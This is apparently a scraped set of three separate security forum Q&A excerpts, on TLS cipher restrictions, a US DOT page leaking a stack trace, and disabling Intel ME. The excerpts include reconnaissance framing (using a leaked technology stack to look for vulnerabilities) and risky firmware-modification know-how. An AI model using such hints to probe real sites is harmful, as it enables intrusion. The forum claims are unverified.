Apart from that it is questionable what use this feature would have because cipher selection is done based on the ciphers the client offers. For example if the client does not offer GCM ciphers with TLS 1.2 (which is possible) then the handshake would actually fail if only GCM ciphers are available on the server side with TLS 1.2. Thus the main purpose would probably only to trick analysis tools like SSL Labs to make it look like the site does not support RC4 even if it does for older clients.


Is this verbose error message on the DOT website a security issue? I was looking for a form on the US Department of Transportations website, and I came to a page that gave me an error, with a full debug report and stack trace.

Hopefully, you can get the same result by going to the page as well:
http://www.dot.gov/airconsumer/air-travel-complaint-comment-form

If not, I've included two screenshots of the page (it wouldn't fit into 1)

Can this result in a breach of security or is it a non-issue (just an inconvenience and unprofessional page)?

What sensitive information is there on the page and how can it be exploited?

I am asking from a purely academic perspective, and have no intention of trying to enter unlawfully into the DOT's site.

DOT's backend Oracle database is down due to ORA-27101.

ORA-27101 has a nice explanation here with a useful reader comment stating that it happened to them because the Windows Event log was full.

From the output, you can learn that they have Oracle, Java JDBC, Drupal, ColdFusion. You also see some SQL code. With that knowledge you can start digging for vulnerabilities in those products/technologies.

The output mostly means that the DOT Database Administrator will have a hot day and that the page should be back soon. Feel free to notify the administrator as it says on the page.


How to disable Intel ME? After reading about Intel ME containing secret backdoors, I would like to know if it is possible to disable Intel ME?

First of all, it sounds like this person is not telling the truth. He should have mentioned something which only a person who works at Intel would know, or at least something which people who understand the architecture deeply would know, rather than only things which are public knowledge. He could have at least mentioned something like ME v11 switching to TinyIA from ARCCompact and getting rid of the JEFF module format (an old abandoned Java standard), supposedly. Secondly, some of what he said was factually incorrect:

In order to have full access to memory, it needs an x86 component in the BIOS to permit it, contrary to popular belief that the ME is a god, so he is wrong in saying that it always has access to system memory (though most configurations do allow it to do this).
It can be disabled, and there are many ways to do so, both public, and non-public. His claim that it is impossible to disable is incorrect. I'll explain how later in this post.
He mentioned that the supposed backdoors have similar functionality to the CIA's WEEPING ANGEL, allowing the ME to listen even if the computer is off or sleeping. This is not possible on the majority of systems due to hardware constraints. Only high-end servers with vPro support are able to keep the ME on while the system appears off. All other systems keep the ME powered off unless the system is itself powered on.
A glaring mistake he makes is that it does not have "full access to the TCP/IP stack". I imagine he is trying to repeat the well-known fact that it has its own TCP/IP stack, which is true. The ME does not integrate with the OS' network stack in any way.
The ME does not have access to every peripheral connected to the computer. At a minimum, it can read all PS/2 keystrokes, video memory, and NIC communications. If it is given access to full memory, it can do more, of course. But due to physical limitations of the x86 architecture, it cannot have access to all peripherals.

Already in his short post, he has shown he does not know the basics of the Manageability Engine. As someone who knows multiple Intel employees, some of which who have worked directly with the ME, I do not believe that this person works for Intel.

To answer your main question, on some older computers, you can disable it by installing Libreboot, which does not come with the ME. The only computers it is compatible with are those which do not refuse to boot or are otherwise stable when the ME is not running. On some SandyBridge/IvyBridge computers, you can cripple the ME by overwriting the first page (4096 bytes), as shown here. Other methods which may be possible in the near future which require a combination of hardware and software modifications likely simply involve jumpers, according to some folks experimenting with disabling the ME in #libreboot on Freenode.

Not to mention, if this person was even telling the truth, the number of EEs working at Intel for more than 15 years, who moved to a new department 3 years ago and got a security clearance at that time is likely a small handful, if not a single person. Anyone with clearance knows how incredibly dangerous it is to leak information, so he would not be giving out information this way... on 4chan of all places.